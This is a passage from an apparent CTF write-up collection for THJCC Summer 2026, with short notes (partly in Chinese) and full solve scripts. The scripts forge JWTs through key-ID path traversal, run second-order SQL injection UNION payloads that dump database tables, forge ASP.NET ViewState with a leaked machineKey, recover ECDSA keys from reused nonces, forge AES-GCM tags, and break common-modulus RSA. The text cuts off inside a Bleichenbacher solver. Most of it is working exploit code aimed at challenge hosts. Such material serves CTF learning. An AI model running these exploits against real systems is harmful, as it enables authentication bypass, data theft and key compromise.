43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Avatar Studio - one-shot solve. Vuln chain (from .git leak source, app.py): load_key(kid) only blocks NUL bytes and leading \u0026#34;/\u0026#34; -- os.path.join(KEY_DIR, kid) still allows \u0026#34;../\u0026#34; traversal, so ANY file with known content can serve as the HMAC-SHA256 signing key. The app itself serves /.git/\u0026lt;path\u0026gt; verbatim, so we can read .git/HEAD bytes live and use kid=\u0026#34;../.git/HEAD\u0026#34; to forge an admin JWT. Usage: solve.py BASE_URL (instance URL from the CTF-Instancer, e.g. http://chal.thjcc.org:\u0026lt;port\u0026gt;) \u0026#34;\u0026#34;\u0026#34; import base64 import hashlib import hmac import json import sys import urllib.request if len(sys.argv) \u0026lt; 2: sys.exit(\u0026#34;usage: solve.py BASE_URL (your instancer-provided instance URL)\u0026#34;) BASE = sys.argv[1].rstrip(\u0026#34;/\u0026#34;) def b64url(data: bytes) -\u0026gt; str: return base64.urlsafe_b64encode(data).rstrip(b\u0026#34;=\u0026#34;).decode() def b64url_decode(data: str) -\u0026gt; bytes: return base64.urlsafe_b64decode(data + \u0026#34;=\u0026#34; * (-len(data) % 4)) def forge(kid: str, payload: dict, key: bytes) -\u0026gt; str: header = {\u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34;, \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34;, \u0026#34;kid\u0026#34;: kid} h = b64url(json.dumps(header, separators=(\u0026#34;,\u0026#34;, \u0026#34;:\u0026#34;)).encode()) p = b64url(json.dumps(payload, separators=(\u0026#34;,\u0026#34;, \u0026#34;:\u0026#34;)).encode()) sig = hmac.new(key, f\u0026#34;{h}.{p}\u0026#34;.encode(), hashlib.sha256).digest() return h + \u0026#34;.\u0026#34; + p + \u0026#34;.\u0026#34; + b64url(sig) def get(path: str, cookie: str = None) -\u0026gt; tuple[int, bytes]: req = urllib.request.Request(BASE + path) if cookie: req.add_header(\u0026#34;Cookie\u0026#34;, cookie) try: r = urllib.request.urlopen(req, timeout=10) return r.status, r.read() except urllib.error.HTTPError as e: return e.code, e.read() # 1. pull exact key material from the app\u0026#39;s own .git route status, head_bytes = get(\u0026#34;/.git/HEAD\u0026#34;) assert status == 200, f\u0026#34;.git/HEAD fetch failed: {status}\u0026#34; print(f\u0026#34;[*] .git/HEAD = {head_bytes!r}\u0026#34;) # 2. forge admin token with that file as the HMAC key payload = {\u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;role\u0026#34;: \u0026#34;admin\u0026#34;} token = forge(\u0026#34;../.git/HEAD\u0026#34;, payload, head_bytes) print(f\u0026#34;[*] forged token = {token}\u0026#34;) # 3. claim the flag status, body = get(\u0026#34;/admin\u0026#34;, f\u0026#34;session={token}\u0026#34;) print(f\u0026#34;[*] /admin -\u0026gt; {status}\u0026#34;) text = body.decode(errors=\u0026#34;replace\u0026#34;) import re m = re.search(r\u0026#34;THJCC\\{[^}]*\\}\u0026#34;, text) if m: print(f\u0026#34;[+] FLAG: {m.group(0)}\u0026#34;) else: print(text[:500]) sys.exit(1) Bookworm（二阶 SQLi） Flag：THJCC{s3c0nd_0rd3r_b00kw0rm_9f3a1c}\n注册参数化安全入库，/generate_report 后台线程字符串拼接 WHERE username='...' 二次查询引爆；CSV 报告行有无 = 布尔 oracle。存储 XSS 是诱饵（无 bot）。\n📜 Bookworm solve.py（87 行，核心 sqli_report@402）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Bookworm (THJCC CTF Summer 2026) — second-order SQLi via async report thread. Usage: python3 solve.py --host chal.thjcc.org --port 31263 Chain: 1. register a user whose username is a SQL payload (all main routes are safely parameterized, the payload just sits in the users table) 2. POST /generate_report -\u0026gt; the *background thread* later runs SELECT title,author,rating FROM books WHERE username=\u0026#39;\u0026lt;payload\u0026gt;\u0026#39; with string concatenation -\u0026gt; second-order SQL injection 3. the generated CSV report is the exfil channel (UNION results appear as book rows); a crashed thread = no report row at all (boolean oracle) \u0026#34;\u0026#34;\u0026#34; import argparse import re import sys import time import requests FLAG_TABLE_B64 = \u0026#34;bjB0aDFuZ190MF9zMzNfaDNyMw==\u0026#34; # decodes to n0th1ng_t0_s33_h3r3 DUMPS = [ (\u0026#34;tables\u0026#34;, \u0026#34;x\u0026#39; UNION SELECT 1,(SELECT group_concat(name) FROM sqlite_master \u0026#34; \u0026#34;WHERE type=\u0026#39;table\u0026#39;),3-- \u0026#34;), (\u0026#34;hidden-schema\u0026#34;, \u0026#34;y\u0026#39; UNION SELECT 1,(SELECT sql FROM sqlite_master \u0026#34; \u0026#34;WHERE name LIKE \u0026#39;bjB0%\u0026#39;),3-- \u0026#34;), (\u0026#34;flag\u0026#34;, \u0026#34;z1\u0026#39; UNION SELECT (SELECT name||\u0026#39; == \u0026#39;||value FROM \u0026#34; f\u0026#34;\\\u0026#34;{FLAG_TABLE_B64}\\\u0026#34;),2,3-- \u0026#34;), ] def sqli_report(base, payload, idx): \u0026#34;\u0026#34;\u0026#34;Register payload-username, trigger async report, return CSV text.\u0026#34;\u0026#34;\u0026#34; s = requests.Session() user = payload # full payload must survive: usernames \u0026gt;64 chars are accepted s.post(f\u0026#34;{base}/signup\u0026#34;, data={\u0026#34;username\u0026#34;: user, \u0026#34;email\u0026#34;: \u0026#34;e@e.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;Pw12345!\u0026#34;}, timeout=10) r = s.post(f\u0026#34;{base}/login\u0026#34;, data={\u0026#34;username\u0026#34;: user, \u0026#34;password\u0026#34;: \u0026#34;Pw12345!\u0026#34;}, timeout=10) if \u0026#34;Logout\u0026#34; not in r.text: print(\u0026#34;[-] login failed (username rejected?)\u0026#34;, file=sys.stderr) return None s.post(f\u0026#34;{base}/shelf\u0026#34;, data={\u0026#34;title\u0026#34;: \u0026#34;mk\u0026#34;, \u0026#34;author\u0026#34;: \u0026#34;a\u0026#34;, \u0026#34;rating\u0026#34;: \u0026#34;3\u0026#34;}, timeout=10) s.post(f\u0026#34;{base}/generate_report\u0026#34;, timeout=10) for _ in range(6): # async thread writes the row ~1-4s later time.sleep(2) inbox = s.get(f\u0026#34;{base}/inbox\u0026#34;, timeout=10).text ids = re.findall(r\u0026#34;/download_report/(\\d+)\u0026#34;, inbox) if ids: return s.get(f\u0026#34;{base}/download_report/{max(ids, key=int)}\u0026#34;, timeout=10).text return None def main(): ap = argparse.ArgumentParser() ap.add_argument(\u0026#34;--host\u0026#34;, required=True) ap.add_argument(\u0026#34;--port\u0026#34;, type=int, required=True) args = ap.parse_args() base = f\u0026#34;http://{args.host}:{args.port}\u0026#34; for tag, payload in DUMPS: print(f\u0026#34;[+] dumping: {tag}\u0026#34;) csv = sqli_report(base, payload, tag) if csv is None: print(\u0026#34; (thread crashed or no report -\u0026gt; payload rejected)\u0026#34;) continue for line in csv.splitlines(): if (line.startswith((\u0026#34;mk,\u0026#34;, \u0026#39;\u0026#34;mk\u0026#39;)) or \u0026#34;script\u0026#34; in line.lower() or line == \u0026#34;title,author,rating\u0026#34; or line in (\u0026#34;,2,3\u0026#34;, \u0026#34;1,2,3\u0026#34;)): continue print(\u0026#34; \u0026#34;, line[:300]) m = re.search(r\u0026#34;(THJCC\\{[^}]+\\})\u0026#34;, line) if m: print(\u0026#34;\\n[+] FLAG:\u0026#34;, m.group(1)) return if __name__ == \u0026#34;__main__\u0026#34;: main() Contoso Asset Portal Flag：THJCC{f0rg3d_v13wst4t3_w1th_l34k3d_m4ch1n3k3y}\n/backup/2024-legacy-web.config~ 泄漏未轮换 machineKey → 重算 HMACSHA1 伪造 role=admin + restricted asset 的 ViewState（ObjectStateFormatter 载荷）。\n发现过程：Server: Mono-HTTPAPI/1.0 + 页面注释锁定 ASP.NET 2.0/Mono；ViewState 解码为 FF 01 0C | 01 05 \u0026quot;guest\u0026quot; | 01 0B \u0026quot;AST-0000000\u0026quot; + 20 字节 MAC，篡改任一字节即 500（MAC 启用）→ 必须搞到 machineKey；/robots.txt → /backup/ 目录列表泄漏 2024-legacy-web.config~（注释明说 \u0026ldquo;keys were NOT rotated\u0026rdquo;）与 assets.csv.bak（唯一 restricted 资产 AST-4F2A9C0）；用泄漏 key 对原始 payload 重算 HMACSHA1 与尾部 20 字节比对一致，确认算法后伪造。\n📜 Contoso Asset Portal solve.py（57 行，核心 forge_viewstate@498）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Contoso Asset Portal — ViewState MAC forgery solve script. Chain: 1. /robots.txt -\u0026gt; /backup/ -\u0026gt; 2024-legacy-web.config~ leaks the production machineKey validationKey (SHA1, unrotated). 2. Default.aspx keeps session state (role, asset) inside __VIEWSTATE, serialized as Pair(role, asset) via ObjectStateFormatter (Mono). 3. Rebuild the serialized payload with role=admin, asset=AST-4F2A9C0 (the \u0026#39;restricted\u0026#39; row in assets.csv.bak) and append a valid HMACSHA1(validationKey, payload) MAC -\u0026gt; flag is returned. Usage: python3 solve.py [base_url] \u0026#34;\u0026#34;\u0026#34; import base64 import hashlib import hmac import re import sys import urllib.parse import urllib.request BASE = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;http://chal.thjcc.org:31257\u0026#34; PAGE = BASE + \u0026#34;/Default.aspx\u0026#34; # Leaked from /backup/2024-legacy-web.config~ (comment: \u0026#34;keys were NOT rotated\u0026#34;) VALIDATION_KEY = bytes.fromhex( \u0026#34;F3690E7A9D8F4C2B1A5E6D7C8B9A0F1E2D3C4B5A69788796A5B4C3D2E1F0A9B8\u0026#34; \u0026#34;C7D6E5F4A3B2C1D0E9F8A7B6C5D4E3F2A1B0C9D8E7F6A5B4C3D2E1F0A9B8\u0026#34; ) ROLE = \u0026#34;admin\u0026#34; ASSET = \u0026#34;AST-4F2A9C0\u0026#34; # Domain Controller, classification=restricted def forge_viewstate(role, asset): \u0026#34;\u0026#34;\u0026#34;Rebuild ObjectStateFormatter payload: FF 01 \u0026lt;type=0x0C Pair\u0026gt; \u0026lt;str\u0026gt; \u0026lt;str\u0026gt;.\u0026#34;\u0026#34;\u0026#34; rb, ab = role.encode(), asset.encode() payload = bytes([0xFF, 0x01, 0x0C, 0x01, len(rb)]) + rb + bytes([0x01, len(ab)]) + ab mac = hmac.new(VALIDATION_KEY, payload, hashlib.sha1).digest() return base64.b64encode(payload + mac).decode() def main(): vs = forge_viewstate(ROLE, ASSET) data = urllib.parse.urlencode({\u0026#34;q\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;__VIEWSTATE\u0026#34;: vs}).encode() req = urllib.request.Request(PAGE, data=data) with urllib.request.urlopen(req, timeout=20) as resp: body = resp.read().decode(errors=\u0026#34;replace\u0026#34;) m = re.search(r\u0026#34;\u0026lt;code\u0026gt;(THJCC\\{[^\u0026lt;]*\\})\u0026lt;/code\u0026gt;\u0026#34;, body) if not m: sys.exit(\u0026#34;flag not found in response:\\n\u0026#34; + body[:500]) print(m.group(1)) if __name__ == \u0026#34;__main__\u0026#34;: main() Crypto（8/8） Nonce Sense Flag：THJCC{n3v3r_3v3r_r3us3_th3_s4m3_n0nc3}\nsecp256k1 ECDSA 双签名共享 nonce：k=(z1−z2)/(s1−s2)。\n📜 Nonce Sense solve.py（148 行，核心 recover_key@585）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Nonce Sense (THJCC Summer 2026) — ECDSA/secp256k1 nonce-reuse solver. Protocol observed: PUB \u0026lt;x(32B hex)\u0026gt; \u0026lt;y(32B hex)\u0026gt; # uncompressed secp256k1 pubkey SIG \u0026lt;msg hex\u0026gt; \u0026lt;r(32B hex)\u0026gt; \u0026lt;s(32B hex)\u0026gt; # two sigs share r =\u0026gt; same nonce k TARGET \u0026lt;msg hex\u0026gt; # message we must sign Attack: k = (z1 - z2) / (s1 - s2) mod n (z_i = SHA256(msg_i)) d = (s1*k - z1) / r mod n then sign TARGET with a fresh nonce. \u0026#34;\u0026#34;\u0026#34; import hashlib import os import re import socket import sys # ---- secp256k1 constants ---- P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 def point_add(A, B): if A is None: return B if B is None: return A x1, y1 = A x2, y2 = B if x1 == x2 and (y1 + y2) % P == 0: return None if A == B: lam = (3 * x1 * x1) * pow(2 * y1, -1, P) % P else: lam = (y2 - y1) * pow((x2 - x1) % P, -1, P) % P x3 = (lam * lam - x1 - x2) % P y3 = (lam * (x1 - x3) - y1) % P return (x3, y3) def point_mul(k, base=(GX, GY)): R = None Q = base while k: if k \u0026amp; 1: R = point_add(R, Q) Q = point_add(Q, Q) k \u0026gt;\u0026gt;= 1 return R def recover_key(pub, r, s1, s2, m1, m2): z1 = int.from_bytes(hashlib.sha256(m1).digest(), \u0026#34;big\u0026#34;) z2 = int.from_bytes(hashlib.sha256(m2).digest(), \u0026#34;big\u0026#34;) k = (z1 - z2) * pow((s1 - s2) % N, -1, N) % N Rk = point_mul(k) assert Rk[0] % N == r, \u0026#34;nonce recovery failed\u0026#34; d = (s1 * k - z1) * pow(r, -1, N) % N assert point_mul(d) == pub, \u0026#34;pubkey mismatch\u0026#34; return d, k def sign(d, msg, nonce=None): z = int.from_bytes(hashlib.sha256(msg).digest(), \u0026#34;big\u0026#34;) while True: k = nonce if nonce is not None else int.from_bytes(os.urandom(32), \u0026#34;big\u0026#34;) % N if k == 0: k = None continue R = point_mul(k) r = R[0] % N if r == 0: k = None continue s = pow(k, -1, N) * (z + r * d) % N if s == 0: k = None continue return r, s def main(): sock = socket.create_connection((\u0026#34;chal.thjcc.org\u0026#34;, 12001), timeout=10) sock.settimeout(10) data = b\u0026#34;\u0026#34; while True: chunk = sock.recv(4096) if not chunk: break data += chunk if data.count(b\u0026#34;\\n\u0026#34;) \u0026gt;= 4: # banner done after TARGET line break text = data.decode(errors=\u0026#34;replace\u0026#34;) print(\u0026#34;[*] server banner:\u0026#34;) print(text) lines = text.strip().splitlines() pub = None sigs = [] target = None for ln in lines: parts = ln.split() if parts[0] == \u0026#34;PUB\u0026#34;: pub = (int(parts[1], 16), int(parts[2], 16)) elif parts[0] == \u0026#34;SIG\u0026#34;: sigs.append((bytes.fromhex(parts[1]), int(parts[2], 16), int(parts[3], 16))) elif parts[0] == \u0026#34;TARGET\u0026#34;: target = bytes.fromhex(parts[1]) assert pub and len(sigs) \u0026gt;= 2 and target is not None m1, r1, s1 = sigs[0] m2, r2, s2 = sigs[1] assert r1 == r2, \u0026#34;signatures do not share nonce\u0026#34; print(f\u0026#34;[+] live values: shared r={r1:x}, s1={s1:x}, s2={s2:x}\u0026#34;) d, k_reuse = recover_key(pub, r1, s1, s2, m1, m2) print(f\u0026#34;[+] recovered private key d = {d:x}\u0026#34;) rr, ss = sign(d, target, nonce=k_reuse) sig_line = f\u0026#34;{rr:064x} {ss:064x}\u0026#34; print(f\u0026#34;[+] crafted (r=s, nonce reused): {sig_line}\u0026#34;) sock.sendall((sig_line + \u0026#34;\\n\u0026#34;).encode()) reply = b\u0026#34;\u0026#34; try: while True: chunk = sock.recv(4096) if not chunk: break reply += chunk except socket.timeout: pass print(\u0026#34;[*] server reply:\u0026#34;) print(reply.decode(errors=\u0026#34;replace\u0026#34;)) sock.close() flag = re.search(rb\u0026#34;THJCC\\{[^}]+\\}\u0026#34;, reply) if flag: print(f\u0026#34;[+] FLAG: {flag.group().decode()}\u0026#34;) return 0 if __name__ == \u0026#34;__main__\u0026#34;: sys.exit(main()) Forbidden（题名=攻击名） Flag：THJCC{h_r3c0v3r3d_gcm_1s_f0rb1dd3n_w1th0ut_fr3sh_n0nc3s}\nAES-GCM nonce 复用：3 组同 nonce 的 (pt,ct,tag) → GHASH 多项式 GCD 恢复 H 与 tag 加密常数 E → 对目标明文伪造 (ct,tag)。GF(2^128) 必须用 NIST 右移版乘法；提交必须 复用 banner 同一连接。\n📜 Forbidden solve.py（194 行，核心 recover_H@788 / forge@805）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - Forbidden (Crypto) AES-GCM nonce reuse (\u0026#34;Forbidden\u0026#34; attack): the server encrypts several known plaintexts with the SAME nonce/key. Recover the GHASH key H and the tag encryption constant E = E(K, J0) from (pt, ct, tag) pairs, then forge a valid (ct, tag) for the target plaintext \u0026#34;give me the flag\u0026#34;. Usage: solve.py [host] [port] \u0026#34;\u0026#34;\u0026#34; import socket, sys HOST = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#39;chal.thjcc.org\u0026#39; PORT = int(sys.argv[2]) if len(sys.argv) \u0026gt; 2 else 12002 # ---------------- GF(2^128), GCM convention (big-endian, poly x^128+x^7+x^2+x+1) def gf_mul(a, b): # NIST SP 800-38D Algorithm 1 (right-shift \u0026#34;multiply\u0026#34;) # 128-bit blocks as big-endian ints; bit 0 = MSB. R = x^127+x^126+x^125+x^120. z, v = 0, a R = 0xE1 \u0026lt;\u0026lt; 120 for i in range(128): if (b \u0026gt;\u0026gt; (127 - i)) \u0026amp; 1: z ^= v if v \u0026amp; 1: v = (v \u0026gt;\u0026gt; 1) ^ R else: v \u0026gt;\u0026gt;= 1 return z def gf_inv(a): # multiplicative identity under GCM mul is x^127 = 2^127 (leftmost bit), # so exponentiation must start from that, not from integer 1. r = 1 \u0026lt;\u0026lt; 127 e = (1 \u0026lt;\u0026lt; 128) - 2 while e: if e \u0026amp; 1: r = gf_mul(r, a) a = gf_mul(a, a) e \u0026gt;\u0026gt;= 1 return r # ---------------- polynomials over GF(2^128), coeff lists low-\u0026gt;high def poly_trim(a): while len(a) \u0026gt; 1 and a[-1] == 0: a = a[:-1] return a def poly_xor(a, b): n = max(len(a), len(b)) r = [0] * n for i in range(n): r[i] = (a[i] if i \u0026lt; len(a) else 0) ^ (b[i] if i \u0026lt; len(b) else 0) return poly_trim(r) def poly_mod(a, b): a = poly_trim(a[:]) b = poly_trim(b[:]) db = len(b) - 1 inv_lead = gf_inv(b[-1]) r = a while len(r) - 1 \u0026gt;= db: shift = len(r) - 1 - db coef = gf_mul(r[-1], inv_lead) for i, bi in enumerate(b): r[i + shift] ^= gf_mul(coef, bi) r = poly_trim(r) if len(r) == 1 and r[0] == 0: break return r def poly_gcd(a, b): a, b = poly_trim(a[:]), poly_trim(b[:]) while not (len(b) == 1 and b[0] == 0): a, b = b, poly_mod(a, b) return a # ---------------- GHASH (AAD empty) def ghash(H, ct_bytes): L = len(ct_bytes) * 8 padded = ct_bytes + b\u0026#39;\\x00\u0026#39; * ((16 - len(ct_bytes) % 16) % 16) X = 0 for i in range(0, len(padded), 16): X = gf_mul(X ^ int.from_bytes(padded[i:i + 16], \u0026#39;big\u0026#39;), H) return gf_mul(X ^ L, H) # len block: (0\u0026lt;\u0026lt;64) | L # polynomial P(H) = GHASH(H, C) ^ tag (P(H) == 0 for the real H) def block_poly(pt, ct, tag): m = (len(ct) + 15) // 16 padded = ct + b\u0026#39;\\x00\u0026#39; * ((16 - len(ct) % 16) % 16) coeffs = [0] * (m + 2) # GHASH(H, C) = sum_j block_j * H^(m+1-j) + (len*8)*H (block_0 first, highest power) for j in range(m): coeffs[m + 1 - j] = int.from_bytes(padded[j * 16:(j + 1) * 16], \u0026#39;big\u0026#39;) coeffs[1] ^= len(ct) * 8 coeffs[0] ^= int.from_bytes(tag, \u0026#39;big\u0026#39;) return poly_trim(coeffs) def recover_H(msgs): \u0026#34;\u0026#34;\u0026#34;msgs: list of (pt, ct, tag). Returns (H, E).\u0026#34;\u0026#34;\u0026#34; p0 = block_poly(*msgs[0]) g = None for m in msgs[1:]: p = poly_xor(p0, block_poly(*m)) # P(H) = 0 g = p if g is None else poly_gcd(g, p) lead = g[-1] g = poly_trim([gf_mul(c, gf_inv(lead)) for c in g]) if len(g) != 2: raise RuntimeError(f\u0026#34;GCD not linear, degree={len(g) - 1}\u0026#34;) H = g[0] Es = {int.from_bytes(tag, \u0026#39;big\u0026#39;) ^ ghash(H, ct) for _pt, ct, tag in msgs} if len(Es) != 1: raise RuntimeError(\u0026#34;E inconsistent across messages\u0026#34;) return H, Es.pop() def forge(msgs, target): H, E = recover_H(msgs) # derive keystream from a message long enough to cover the whole target pt0, ct0, _ = max(msgs, key=lambda m: len(m[0])) assert len(pt0) \u0026gt;= len(target), \u0026#34;no message long enough for target\u0026#34; ks1 = bytes(a ^ b for a, b in zip(pt0, ct0)) ct_star = bytes(a ^ b for a, b in zip(target, ks1)) tag_star = int.to_bytes(E ^ ghash(H, ct_star), 16, \u0026#39;big\u0026#39;) return H, E, ct_star, tag_star # ---------------- network def recv_all(s, timeout=2.0): s.settimeout(timeout) buf = b\u0026#39;\u0026#39; try: while True: d = s.recv(4096) if not d: break buf += d except (socket.timeout, ConnectionResetError): pass return buf def get_banner(): s = socket.create_connection((HOST, PORT), timeout=10) banner = recv_all(s, 2.0) return s, banner def parse(banner): nonce = None msgs = [] target = None for line in banner.split(b\u0026#39;\\n\u0026#39;): if not line: continue parts = line.split(b\u0026#39; \u0026#39;) if parts[0] == b\u0026#39;NONCE\u0026#39;: nonce = bytes.fromhex(parts[1].decode()) elif parts[0] == b\u0026#39;MSG\u0026#39;: msgs.append((bytes.fromhex(parts[1].decode()), bytes.fromhex(parts[2].decode()), bytes.fromhex(parts[3].decode()))) elif parts[0] == b\u0026#39;TARGET\u0026#39;: target = bytes.fromhex(parts[1].decode()) return nonce, msgs, target def main(): s, banner = get_banner() # single connection: key/nonce are per-connection nonce, msgs, target = parse(banner) print(f\u0026#34;nonce={nonce.hex()} msgs={len(msgs)} target={target!r}\u0026#34;, flush=True) assert target == b\u0026#39;give me the flag\u0026#39; assert len(msgs) \u0026gt;= 3 H, E, ct_star, tag_star = forge(msgs, target) print(f\u0026#34;H = {H:032x}\u0026#34;, flush=True) print(f\u0026#34;E = {E:032x}\u0026#34;, flush=True) print(f\u0026#34;ct* = {ct_star.hex()}\u0026#34;, flush=True) print(f\u0026#34;tag* = {tag_star.hex()}\u0026#34;, flush=True) pt_hex, ct_hex, tag_hex = target.hex(), ct_star.hex(), tag_star.hex() candidates = [ f\u0026#39;{ct_hex} {tag_hex}\u0026#39;.encode(), # confirmed working format f\u0026#39;MSG {pt_hex} {ct_hex} {tag_hex}\u0026#39;.encode(), f\u0026#39;{pt_hex} {ct_hex} {tag_hex}\u0026#39;.encode(), f\u0026#39;TARGET {ct_hex} {tag_hex}\u0026#39;.encode(), ] for payload in candidates: s.sendall(payload + b\u0026#39;\\n\u0026#39;) resp = recv_all(s, 2.0) print(f\u0026#34;sent {payload[:44]!r}... -\u0026gt; {resp!r}\u0026#34;, flush=True) if b\u0026#39;NOPE\u0026#39; not in resp: print(\u0026#34;=== SUCCESS ===\u0026#34;, flush=True) print(resp.decode(errors=\u0026#39;replace\u0026#39;), flush=True) s.close() return 0 print(\u0026#34;all formats returned NOPE\u0026#34;) return 1 if __name__ == \u0026#39;__main__\u0026#39;: sys.exit(main()) Two Exponents Flag：THJCC{n0t_c0pr1m3_but_st1ll_br0k3n_4nyw4y}\n共模 RSA 但 gcd(e1,e2)=3≠1：Bezout 得 m³ mod n，明文短 m³\u0026lt;n 直接开立方根。\n📜 Two Exponents solve.py（49 行，核心 egcd@925）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Two Exponents — common-modulus RSA with gcd(e1,e2)=3 variant. Classic common-modulus needs gcd(e1,e2)==1; here gcd(111,39)=3, so the Bezout combination yields c1^a * c2^b = m^3 mod n. Since the plaintext flag is short (m^3 \u0026lt;\u0026lt; n), the cube root is exact. \u0026#34;\u0026#34;\u0026#34; import re from math import gcd from pathlib import Path try: from sympy import integer_nthroot except ImportError: import sys sys.exit(\u0026#34;pip install sympy into the project venv\u0026#34;) data = Path(__file__).parent / \u0026#34;chal-Two-Exponents\u0026#34; / \u0026#34;output.txt\u0026#34; text = data.read_text() n = int(re.search(r\u0026#34;^n\\s*=\\s*(\\d+)\u0026#34;, text, re.M).group(1)) e1 = int(re.search(r\u0026#34;^e1\\s*=\\s*(\\d+)\u0026#34;, text, re.M).group(1)) c1 = int(re.search(r\u0026#34;^c1\\s*=\\s*(\\d+)\u0026#34;, text, re.M).group(1)) e2 = int(re.search(r\u0026#34;^e2\\s*=\\s*(\\d+)\u0026#34;, text, re.M).group(1)) c2 = int(re.search(r\u0026#34;^c2\\s*=\\s*(\\d+)\u0026#34;, text, re.M).group(1)) g = gcd(e1, e2) print(f\u0026#34;gcd(e1,e2) = {g}\u0026#34;) assert g \u0026gt; 1, \u0026#34;classic gcd=1 path (a*e1+b*e2=1)\u0026#34; # Bezout for a*e1 + b*e2 = g def egcd(a, b): if b == 0: return a, 1, 0 g_, x_, y_ = egcd(b, a % b) return g_, y_, x_ - (a // b) * y_ _, a, b = egcd(e1, e2) # a*e1 + b*e2 = g print(f\u0026#34;a={a} b={b} (a*e1+b*e2={a*e1+b*e2})\u0026#34;) m_g = (pow(c1, a, n) * pow(c2, b, n)) % n # == m^g mod n print(f\u0026#34;m^g mod n bits: {m_g.bit_length()} / n bits: {n.bit_length()}\u0026#34;) root, exact = integer_nthroot(m_g, g) print(f\u0026#34;g-th root exact: {exact}\u0026#34;) assert exact, \u0026#34;m^g \u0026gt;= n, need different strategy\u0026#34; m = root flag = bytes.fromhex(f\u0026#34;{m:x}\u0026#34;).decode(errors=\u0026#34;replace\u0026#34;) print(\u0026#34;flag:\u0026#34;, flag) A Million Messages Flag：THJCC{bl31chenb4ch3r_st1ll_3ats_pkcs1_v1_5}\n每连接 fresh 512-bit RSA + 只验解密前缀 00 02 的行式 oracle = prefix-only Bleichenbacher BB98；流水线批量查询 + 3 连接对冲，11.8k 次 20 分钟收敛。\n📜 A Million Messages solve.py（216 行，核心 ask_batch@1004 批量化查询）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - \u0026#34;A Million Messages\u0026#34; - Bleichenbacher MMA solver. Protocol (per connection, fresh 512-bit RSA key every connect): server -\u0026gt; \u0026#34;N \u0026lt;hex\u0026gt;\u0026#34;, \u0026#34;E \u0026lt;hex\u0026gt;\u0026#34;, \u0026#34;C \u0026lt;hex\u0026gt;\u0026#34; (C = PKCS#1 v1.5-padded flag) client -\u0026gt; \u0026#34;\u0026lt;hex ciphertext 